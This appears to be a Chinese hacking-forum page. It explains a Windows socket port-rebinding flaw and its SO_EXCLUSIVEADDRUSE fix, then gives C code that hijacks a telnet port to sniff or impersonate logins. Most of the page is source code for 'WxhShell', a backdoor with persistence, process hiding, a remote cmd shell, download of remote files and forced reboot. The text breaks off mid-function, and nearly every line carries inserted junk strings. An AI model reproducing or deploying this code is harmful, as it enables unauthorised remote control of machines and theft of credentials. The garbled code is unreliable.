在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
;esOe\zjE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Lwo9s)j<e CWSc #E saddr.sin_family = AF_INET;
UYhxgPGsj 1P G"IaOb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SL`nt 2CV? cm bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yg82a7D ^MvBW6#1 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!d1a9los _W>xFBy
这意味着什么?意味着可以进行如下的攻击:
HnKXO QVkrhwp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
e. R9: ggy9euWV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
CsN^u H cT
nC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V}Ce3wgvA FQ u c}A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*eMMfxFl C40o_1g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c6VyF=2q y N,grU( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
/Edq[5Ah 0@Z}.k30 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Yzw[.(jc} JgBC:t^\pV #include
$t0JfDd6Ky #include
upGLZ# #include
QSOG(}w #include
;?%_jB$P DWORD WINAPI ClientThread(LPVOID lpParam);
#Sg"/Cc int main()
k`J|]99Wb {
]AX3ov6z9; WORD wVersionRequested;
s%1ZraMvJ DWORD ret;
mp
z3o\n WSADATA wsaData;
>~_)2_j BOOL val;
w8a49 Fv SOCKADDR_IN saddr;
;RYIc0% SOCKADDR_IN scaddr;
z7TyS.z int err;
HEw&' SOCKET s;
me-uPm SOCKET sc;
s;-AZr) int caddsize;
V)P8w#, HANDLE mt;
^9kx3Pw?8 DWORD tid;
(p<pF]. wVersionRequested = MAKEWORD( 2, 2 );
$=) Pky-~ err = WSAStartup( wVersionRequested, &wsaData );
}Eh &' if ( err != 0 ) {
x_r*<?OZ printf("error!WSAStartup failed!\n");
tS-gaT`T return -1;
h`iOs> }
F<XOt3VY. saddr.sin_family = AF_INET;
buT6)~lw AREjS$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/aIGq/;Y+a m.<u!MI saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'u~0rMe4}) saddr.sin_port = htons(23);
:Qhrh(i if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hCS} {
3#Bb4\_v printf("error!socket failed!\n");
-:E~Z_J` return -1;
3R0ioi 7 }
$sS~hy* val = TRUE;
pdvnpzj //SO_REUSEADDR选项就是可以实现端口重绑定的
>F s/Wet if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
T5z]=Pd"^ {
Q<gUu^rq printf("error!setsockopt failed!\n");
`.J17mQe" return -1;
>H ?k0M`L }
>##Z}auY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
D:/q<<| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&}
{ #g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_54gqD2C,
}
!y5hv!_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LD1&8kJ*l {
Pc2!OQC'"" ret=GetLastError();
UtP|<]{ printf("error!bind failed!\n");
-Jw4z#/- return -1;
,[)l>!0\H }
~?FhQd\Q listen(s,2);
gn&Zt}@[ while(1)
)BvMFwQG {
Hf\sF(, ( caddsize = sizeof(scaddr);
f 9Kt>2IN //接受连接请求
%S'+x[4W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Fj]06~u if(sc!=INVALID_SOCKET)
q=Vh"]0g {
ixSr*+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=*"8N-FU if(mt==NULL)
]Yw$A {
ts9wSx~[+ printf("Thread Creat Failed!\n");
a[ayr$Hk? break;
^
nI2<P }
"r*`*1 }
QXN_ ?E,g/ CloseHandle(mt);
*BdH
&U }
y.c6r> } closesocket(s);
n:P:im?,y* WSACleanup();
h<TZJCt return 0;
QS5t~rb }
E6ZkO/ DWORD WINAPI ClientThread(LPVOID lpParam)
\2e^x {
`$S&:Q, SOCKET ss = (SOCKET)lpParam;
&JcatI SOCKET sc;
-5 D<zP/ unsigned char buf[4096];
%1.F;-GdsW SOCKADDR_IN saddr;
YO$D- long num;
f&mi nBU DWORD val;
1P*hC< DWORD ret;
kDMvTVd //如果是隐藏端口应用的话,可以在此处加一些判断
HE%/+mZN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
bWAa:
r saddr.sin_family = AF_INET;
q\]X1N saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}cr'o"4 saddr.sin_port = htons(23);
YrB-n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^9:`D@Z+ {
G(TFv\`vH printf("error!socket failed!\n");
b&mA1w[W] return -1;
PXkpttIE]M }
b%%r`j,'JE val = 100;
Cj<8r S4+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
tP7<WGHd/ {
t15{>>f4> ret = GetLastError();
0B7G:X0 return -1;
d]`6N }
.JXEw%I@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hHU=lnO {
V<W;[#" ret = GetLastError();
xdgAu return -1;
<Q\KS }
vxj:Y'} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h_[{-WC {
VMRfDaO9 printf("error!socket connect failed!\n");
!>n!Q*\(Ov closesocket(sc);
b4i=%]v8 closesocket(ss);
hdHz", ) return -1;
1o%#kf }
3Iv^ while(1)
K F_fz {
n@RmH>" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/*T^7Y&
//如果是嗅探内容的话,可以再此处进行内容分析和记录
"TZY)\{L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
M7cD!s@'I num = recv(ss,buf,4096,0);
i[IFD]Xy!j if(num>0)
Lo{wTYt:J send(sc,buf,num,0);
,"(G else if(num==0)
)>:~XA|? break;
A}(]J!rc num = recv(sc,buf,4096,0);
pE)NSZ if(num>0)
Ee2P]4_d send(ss,buf,num,0);
"u!gfG?oH else if(num==0)
dX cbS< break;
QQ .?A(U7 }
\ +%~7Bi]z closesocket(ss);
~p?ArZb closesocket(sc);
XNWtX-[^@ return 0 ;
gZ$
8Y7 }
~3?-l/ $ V%r`v%ktF /DHgwpJ ==========================================================
hbH~Ya=+S *v+l,z4n 下边附上一个代码,,WXhSHELL
oxlor,lw/ IDH~nMz ==========================================================
6I
+0@,I ES&u*X: #include "stdafx.h"
7qB4_ 1"ZtE\{
" #include <stdio.h>
.Rk8qRB #include <string.h>
QIGU i,R #include <windows.h>
(yqe4 #include <winsock2.h>
i *.Y #include <winsvc.h>
YQG<Q #include <urlmon.h>
BqNeY<zB* f47]gtB- #pragma comment (lib, "Ws2_32.lib")
EVX3uC}{ #pragma comment (lib, "urlmon.lib")
W/!P1M n djOjd, #define MAX_USER 100 // 最大客户端连接数
3y}E*QE #define BUF_SOCK 200 // sock buffer
d^aVP #define KEY_BUFF 255 // 输入 buffer
P[
:_"4U OB(oOPH #define REBOOT 0 // 重启
x950,`zy #define SHUTDOWN 1 // 关机
1RYrUg"s" 8~C_ng-wn #define DEF_PORT 5000 // 监听端口
VO|ECB2e w+R/>a(] #define REG_LEN 16 // 注册表键长度
2F:qaz #define SVC_LEN 80 // NT服务名长度
}8ubGMr,Y 7EE{*}?0E // 从dll定义API
9;e!r DW,# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.C%
28fH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
)y,^M3$?C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5)!g.8-! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:snO*Zg $ZBYOA // wxhshell配置信息
yDafNH struct WSCFG {
4`5yrCd int ws_port; // 监听端口
MNd\)nX char ws_passstr[REG_LEN]; // 口令
."$t&[;s int ws_autoins; // 安装标记, 1=yes 0=no
-eG~ char ws_regname[REG_LEN]; // 注册表键名
%lHHTZ{+ char ws_svcname[REG_LEN]; // 服务名
G tI )O} char ws_svcdisp[SVC_LEN]; // 服务显示名
F}nwTras char ws_svcdesc[SVC_LEN]; // 服务描述信息
7Bp7d/R- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
H#SQ>vyAV int ws_downexe; // 下载执行标记, 1=yes 0=no
@(,1}3s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N y'\Q"Y] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vV}w>Ap[ k8w\d+!v };
8z#Qp(he F^u12R) // default Wxhshell configuration
>NKJ@4Y struct WSCFG wscfg={DEF_PORT,
xs{pGQ6Q "xuhuanlingzhe",
f jx`|MJ 1,
nqyD>> "Wxhshell",
_?
gCOr "Wxhshell",
j,k3]bP "WxhShell Service",
h !^=
c "Wrsky Windows CmdShell Service",
8q[;
0 "Please Input Your Password: ",
&zEQbHK6 1,
Du+W7]yCl "
http://www.wrsky.com/wxhshell.exe",
wh8';LZ>R "Wxhshell.exe"
[SPx };
}D#:NlMp DzAZv/h76 // 消息定义模块
;V}:0{p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
CxFd/X, char *msg_ws_prompt="\n\r? for help\n\r#>";
%!<Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
R /+$ : char *msg_ws_ext="\n\rExit.";
|\,OlX, char *msg_ws_end="\n\rQuit.";
&xnQLz:# char *msg_ws_boot="\n\rReboot...";
vF27+/2+R char *msg_ws_poff="\n\rShutdown...";
XnyN*}8 char *msg_ws_down="\n\rSave to ";
QKG3>lU 3Qy@^" char *msg_ws_err="\n\rErr!";
q)k:pQ char *msg_ws_ok="\n\rOK!";
KNVu[P)rv %_OjmXOfe char ExeFile[MAX_PATH];
^#Ii=K-[^ int nUser = 0;
gQn%RPMh HANDLE handles[MAX_USER];
c#n
2! int OsIsNt;
}s~c(sL?; Y sM*d SERVICE_STATUS serviceStatus;
6cH8Jr _ SERVICE_STATUS_HANDLE hServiceStatusHandle;
ORExI.<`W E/zf9\ // 函数声明
.IeO+RDQ int Install(void);
^D+J
k8 int Uninstall(void);
dHnCSOM< int DownloadFile(char *sURL, SOCKET wsh);
I!sT=w8V int Boot(int flag);
&$MC!iMh void HideProc(void);
aGD< #] int GetOsVer(void);
C96/ int Wxhshell(SOCKET wsl);
R_!.vGhkN void TalkWithClient(void *cs);
$YSXE
: int CmdShell(SOCKET sock);
jeC=s~ int StartFromService(void);
c[h~=0UtJ int StartWxhshell(LPSTR lpCmdLine);
6mM9p)"$ NAR6q{c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
AC,RS7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
-o ).< FdU]!GO-X // 数据结构和表定义
Gw*Tz" SERVICE_TABLE_ENTRY DispatchTable[] =
{&51@UX {
/(dP)ysc {wscfg.ws_svcname, NTServiceMain},
|mEWN/@C {NULL, NULL}
,Bk5(e };
]~TsmR[ XNz+a|cF // 自我安装
"aJHCi~l int Install(void)
Vj*-E {
gEh/m.L7 char svExeFile[MAX_PATH];
da$FY7 HKEY key;
zxyl+tU & strcpy(svExeFile,ExeFile);
:`bC3Mr +jLy>=u // 如果是win9x系统,修改注册表设为自启动
^b8~X [1J_ if(!OsIsNt) {
y4^u&0}0$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G3.aw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`w@:h4f RegCloseKey(key);
/"{d2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rAenxZ,tF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mWp>E`l RegCloseKey(key);
zggnDkC5 return 0;
J@3, }
GY~$<^AK }
zx.qN }
{EgSjxfmw else {
U+S=MP
}: n]4E>/\ // 如果是NT以上系统,安装为系统服务
Uj!3MF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
o@:"3s if (schSCManager!=0)
- x {
m:H^m/g SC_HANDLE schService = CreateService
m^A2
8X7 (
1Viz`y)^ schSCManager,
-,J<X\ wscfg.ws_svcname,
{2\Y%Y'}* wscfg.ws_svcdisp,
R<|\Z@z SERVICE_ALL_ACCESS,
].d2C J' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@^,q/%; SERVICE_AUTO_START,
>ahDc!Jyu SERVICE_ERROR_NORMAL,
Y
;Ym=n' svExeFile,
Xaq;d' NULL,
hkMeUxS NULL,
0m@+ &X>w NULL,
7)Toj NULL,
QS#@xhH NULL
n:@!vV
);
vW+6_41ZM if (schService!=0)
`ecseBn3d {
Bx?3E^!T CloseServiceHandle(schService);
@v-^j CloseServiceHandle(schSCManager);
}[p{%:tP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
PgBEe
@. strcat(svExeFile,wscfg.ws_svcname);
'.A!IGsj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8`4M4"lj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PxkV[nbS RegCloseKey(key);
JF=R$! 5 return 0;
[|]J8o@u^ }
{[y6qQm }
$WA wMS, CloseServiceHandle(schSCManager);
IiYL2JS;t| }
xR+vu>f }
N`8K1{>BH 9CDei~ return 1;
I Xc `Ec }
0z8(9DlTc MB]E[&Q! // 自我卸载
8lyIL^ int Uninstall(void)
'xW=qboOp {
#CS>_qe.{ HKEY key;
77RZ<u9/` wh:;G`6S if(!OsIsNt) {
O
NabL.CV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`PWKA;W$0 RegDeleteValue(key,wscfg.ws_regname);
yV^Yp=f_ RegCloseKey(key);
4]d^L> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IwyA4Ak Ru RegDeleteValue(key,wscfg.ws_regname);
b?~p/[ RegCloseKey(key);
rj4@ return 0;
<8r"QJY/ }
vhe Y
F@ }
+R'8$ }
+=tdgw/ else {
Wf~^,]9N ?t/qaUXN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_>gz& if (schSCManager!=0)
]ch=@IV {
C,| & SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
XC<fNK if (schService!=0)
>"W^|2R {
/}:{(Go if(DeleteService(schService)!=0) {
N_Us6X CloseServiceHandle(schService);
G]lGoa}]`u CloseServiceHandle(schSCManager);
w2LnY1A return 0;
osp~)icun }
k+QGvgP[4@ CloseServiceHandle(schService);
6H#:rM }
z'L0YqXG/ CloseServiceHandle(schSCManager);
h:Pfiw] }
N/a4Gl( }
|Ajd$+3 J;4x$BI return 1;
4.9qB }
d4y#n=HnnV EC?5GNGT, // 从指定url下载文件
/T _M't@j int DownloadFile(char *sURL, SOCKET wsh)
%i9S" {
!6/UwPs HRESULT hr;
{vu\qXmMv char seps[]= "/";
oO2DPcK char *token;
- H?c4? 5 char *file;
;&d#)&O"e char myURL[MAX_PATH];
4D65VgVDM char myFILE[MAX_PATH];
**q8vhJM @?B+|*cm strcpy(myURL,sURL);
h,LSqjf" token=strtok(myURL,seps);
5U84*RY while(token!=NULL)
U,rI/' {
J(1Tl file=token;
(-C)A-Uo& token=strtok(NULL,seps);
A 3 V }
!LKxZ" := V?; GetCurrentDirectory(MAX_PATH,myFILE);
k+J3Kl09hM strcat(myFILE, "\\");
geQ!}zXWi strcat(myFILE, file);
l*ltS(? send(wsh,myFILE,strlen(myFILE),0);
,TBOEu."4 send(wsh,"...",3,0);
_c>iux; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
BM :x`JY if(hr==S_OK)
N* gJu return 0;
I~7iIUD else
'FW?
return 1;
f 3UCELJ KhjC'CU, }
`Vvi]>,cg` ^G4YvS( // 系统电源模块
TQR5V\{&% int Boot(int flag)
CJ<nUIy'z {
4Kj.o HANDLE hToken;
/^=1]+_! TOKEN_PRIVILEGES tkp;
:Xw|v2z%3 -2.7Z`*( if(OsIsNt) {
jKUEs75] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ZU 3Psj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,{*g
Q%7 tkp.PrivilegeCount = 1;
CW1l;uwtU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9p_?t'&>q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@a8lF$< if(flag==REBOOT) {
Tm"H9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p4T$(]7 return 0;
b0~r/M;J }
n/9afIN else {
(T1< (YZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&2ED<%hH` return 0;
Jv} }
{!Qu(% }
,dRaV</2 else {
93*csO?Db if(flag==REBOOT) {
p%I)&- 8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
N[Z`tk?- return 0;
&d6@SQ }
=-sTV\ else {
u`|%qRt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jE0oLEg& return 0;
^Iw$( }
j\C6k }
#*h\U]=VS Vb,VN?l return 1;
%a/3*vz/I% }
/A9RmTb v ,")XPY // win9x进程隐藏模块
TFXBN.?9T void HideProc(void)
7(@xk_Pl {
,z&S;f.f <rzP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dN2JOyS if ( hKernel != NULL )
NK|UeL7ght {
#-yCR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Lx,=Up. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
>)M{^ FreeLibrary(hKernel);
Z],j|rWy6 }
;21D ^e ytttF5- return;
kjYM&q }
Dg&6@c| x^1udK^re // 获取操作系统版本
MblRdj6 int GetOsVer(void)
=MNp; {
yGR{-YwU! OSVERSIONINFO winfo;
*OLqr/ yb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1Q@]b_"Xh GetVersionEx(&winfo);
]-gyXE1.r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z0[@O)Sj return 1;
ggDT5hb else
bRvGetX return 0;
@&\Y:aRO%i }
K<P d.: QFP9"FM5F // 客户端句柄模块
H )ej]DXy int Wxhshell(SOCKET wsl)
ACyK#5E {
Mj@2=c SOCKET wsh;
7
$y;-[E[ struct sockaddr_in client;
'AA9F$Dz DWORD myID;
atyvo0fNd 4!dc/K while(nUser<MAX_USER)
XPd mz !,b {
kqBZsfF int nSize=sizeof(client);
U3_${ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}n^Rcz6HeO if(wsh==INVALID_SOCKET) return 1;
TIGtX]` $d*9]M4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"\wMs if(handles[nUser]==0)
kY)Vr3uGA closesocket(wsh);
i$NlS}W else
( d_z\U7l nUser++;
/l$enexSt }
rUI?{CV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/3,/j)`a wQSan&81Q return 0;
<- \|>r Q }
;wwc;wQ' c!IZLaVAr9 // 关闭 socket
A-!e$yz> void CloseIt(SOCKET wsh)
{s8c@-' {
w;lpJB\ closesocket(wsh);
/h>g-zb nUser--;
z:\9t[e4 ExitThread(0);
p@jw)xI }
i.mv`u Dm M@ U>@x; // 客户端请求句柄
OjGI
! void TalkWithClient(void *cs)
3RaduN] {
AR[m+E u`'"=Y_E SOCKET wsh=(SOCKET)cs;
W %*#rcdq char pwd[SVC_LEN];
WE\TUENac( char cmd[KEY_BUFF];
B%tF|KKj char chr[1];
nXT`7 int i,j;
3-/|G-4k7 Da-Lf2qT9 while (nUser < MAX_USER) {
$yx\2 kyHli~Nr" if(wscfg.ws_passstr) {
+[G9PP6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
T8+[R2_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i(.e=
//ZeroMemory(pwd,KEY_BUFF);
YYQvt i=0;
I
Cc{ 2l while(i<SVC_LEN) {
@}
Ig*@ k!Yc_ZB:*l // 设置超时
}y6|H,t9 fd_set FdRead;
M/ 64`lcb struct timeval TimeOut;
TsFhrtnx&X FD_ZERO(&FdRead);
xX&B&"]5 FD_SET(wsh,&FdRead);
9'*7 (j; TimeOut.tv_sec=8;
Em!- W5*s TimeOut.tv_usec=0;
T?RY~GA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
nI3p`N8j* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v6 5C
j2ec -_ 9k+AV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Y#os6|MV# pwd
=chr[0]; :Q`Of}#
if(chr[0]==0xd || chr[0]==0xa) { FtTq*[a
pwd=0; S/E&&{`ls
break; 7Yg1z%%U
}
}#m9Q[
i++; 9G[
DuYJI
} ]he~KO[j<
KkUK" Vc
// 如果是非法用户,关闭 socket ^os_j39N9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nVs@DH
} "w?0f["
<,:{Q75
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !
yJ0Am>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
?!Y_w2
{YiMd
oMhg
while(1) { 2/+~h(Cc
JL,Y9G*]s
ZeroMemory(cmd,KEY_BUFF); Z Qlk 5
?;RY/[IX6
// 自动支持客户端 telnet标准 X2V+cre
j=0; S]@;`_?m{
while(j<KEY_BUFF) { B :%Vq2`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :|(YlNUv
cmd[j]=chr[0]; G
y[5'J`
if(chr[0]==0xa || chr[0]==0xd) { ir6aV|ea!
cmd[j]=0; _S) K+C|@
break; y^H5iB[SPL
} bhD-;Y!6;
j++; ` +YtTK
} mP*$wE9b,:
W_@ b. 1
// 下载文件 p
l^;'|=M
if(strstr(cmd,"http://")) { 6
5zx<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y%/RGYKh
if(DownloadFile(cmd,wsh)) v(;yy{>8"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3u
j|jwL
else 79 4UY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qoZi1,i'
} 2Rw<0.i|
else { %1TKgNf
fYuSfB+<
switch(cmd[0]) { 0y$VPgsKf
N/F_,>E
// 帮助 gE #|eiu
case '?': { #r9\.NA!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "iEnsP@'Wg
break; 9iT9ZfaW
} A o*IshVh
// 安装 /{l_tiE7
case 'i': { ;R6f9tu2
if(Install()) J,,VKA&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9U;
else Yp(0 XP5o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <U$YJtEK
break; `.;U)}Tn
} KK 7}q<&i
// 卸载 =p@2[Uo
case 'r': { n`^jNXE
if(Uninstall()) ,JI] Eij^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Q=;L>Qd
else 97 SS0J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5@l5exuG*m
break; #CLjQJ
} :g$"Xc8Zn
// 显示 wxhshell 所在路径 wxBHlgK4z
case 'p': { s:'>G;p
char svExeFile[MAX_PATH]; >&HW6 c
strcpy(svExeFile,"\n\r"); `=;}I@]zj)
strcat(svExeFile,ExeFile); *-*V>ntvT$
send(wsh,svExeFile,strlen(svExeFile),0); RCfeIHL
break; D0 k ,8|
} }s?3
// 重启 &p#PYs|H
case 'b': { `~\SQ EY$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kT
if(Boot(REBOOT)) 8r>\scS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YCP D+
else { CSjd&G*ZB
closesocket(wsh); Ma\%uEgTD
ExitThread(0); 5vD\?,f E
} 5.-:)=
break; h7ZH/g$)
} 0X99D2c
// 关机 6t!=k6`1
case 'd': { 851BOkRal4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tHaHBx1P
if(Boot(SHUTDOWN)) ;R&W#Q7>3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~9rNP{+
else { Otr=+i
ZI
closesocket(wsh); DNDzK
iMk
ExitThread(0); Uth+4Aq
} 3Yx'/ =]
break; MZ0cZv$v!~
} RJ3uu NK7
// 获取shell QDJ#zMxFD
case 's': { x_8sV?F
CmdShell(wsh); +(`D'5EB(
closesocket(wsh); '% _K"rb
ExitThread(0); B.?F^m@zS
break; f@9XSZ<.71
} nT4Ryld
// 退出 &B:L9^
case 'x': { [+5g 9tBJ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lO9Ixhf~iu
CloseIt(wsh); G]xYQ]
break; |$\1E+
} ?$I9/r
// 离开 5`}za-
case 'q': { DdISJWc'`5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); TqS s*as5
closesocket(wsh); xIc||o$
WSACleanup(); DHjfd+E=s
exit(1); }VWUcALJV
break; MowAM+?^}
} 7CSn79E
} ,6^Xn=o #
} _lT'nFe=Q
X%99@ qv
// 提示信息 "IpbR
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *E>R1bJ8
} g>7i2
} "tOm
2>.b~q@
return; mo
tW7|p.e
} ZLVgK@l
"7fEL:|j
// shell模块句柄 ZJFF4($qN
int CmdShell(SOCKET sock) >^W6'Q$P<
{ vEG7A$Z"
STARTUPINFO si; c9@3=6S/
ZeroMemory(&si,sizeof(si)); }"RVUYU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4a!%eBhX"K
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iVVR$uzhH
PROCESS_INFORMATION ProcessInfo; {&Rz>JK
char cmdline[]="cmd"; `X()"Qw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'b [O-6v
return 0; q$H@W.f
} 2ZbSdaM=
:%28*fl
// 自身启动模式 jL)Y'
int StartFromService(void)
5Uhxl^c
{ 8.%wnH
typedef struct G.N`
{ f `b6E J
DWORD ExitStatus; `CL\-
DWORD PebBaseAddress; d@8:f
DWORD AffinityMask; 247vU1
